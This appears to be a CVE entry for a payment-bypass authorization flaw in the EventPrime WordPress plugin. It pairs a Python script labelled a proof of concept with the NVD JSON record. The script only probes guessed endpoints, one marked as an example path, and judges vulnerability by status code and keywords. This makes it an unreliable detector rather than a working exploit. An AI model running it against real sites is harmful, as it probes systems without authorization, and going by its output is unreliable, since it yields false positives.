CVE-2026-25312

# CVE-2026-25312 PoC - EventPrime Authorization Bypass # Target: WordPress site with EventPrime plugin <= 4.2.8.3 import requests import sys def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2026-25312""" # Target endpoint that may be affected (example path) endpoints = [ '/wp-json/eventprime/v1/bookings', '/wp-json/eventprime/v1/payments/bypass', '/wp-admin/admin-ajax.php', '/wp-content/plugins/event-prime/' ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/json', 'X-Requested-With': 'XMLHttpRequest' } print(f"[*] Scanning target: {target_url}") print(f"[*] CVE-2026-25312 - EventPrime Authorization Bypass") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: response = requests.get(url, headers=headers, timeout=10, verify=False) # Check for signs of vulnerability if response.status_code == 200: print(f"[+] Endpoint accessible: {url}") print(f" Status: {response.status_code}") if 'eventprime' in response.text.lower() or 'booking' in response.text.lower(): print(f"[!] Potential vulnerability detected - unauthorized access possible") elif response.status_code == 401 or response.status_code == 403: print(f"[-] Endpoint protected: {url}") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to {url}: {e}") print("\n[*] Scan complete. Update EventPrime to version > 4.2.8.3") print("[*] Reference: https://patchstack.com/database/Wordpress/Plugin/eventprime-event-calendar-management/") if __name__ == '__main__': if len(sys.argv) > 1: target = sys.argv[1] else: target = 'http://target-wordpress-site.com' check_vulnerability(target)

{"cve": {"id": "CVE-2026-25312", "sourceIdentifier": "[email protected]", "published": "2026-03-19T08:16:18.940", "lastModified": "2026-04-29T10:16:54.063", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Metagauss EventPrime eventprime-event-calendar-management allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects EventPrime: from n/a through <= 4.2.8.3."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en EventPrime permite explotar niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a EventPrime: desde n/a hasta 4.2.8.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/eventprime-event-calendar-management/vulnerability/wordpress-eventprime-plugin-4-2-8-3-payment-bypass-vulnerability?_s_id=cve", "source": "[email protected]"}]}}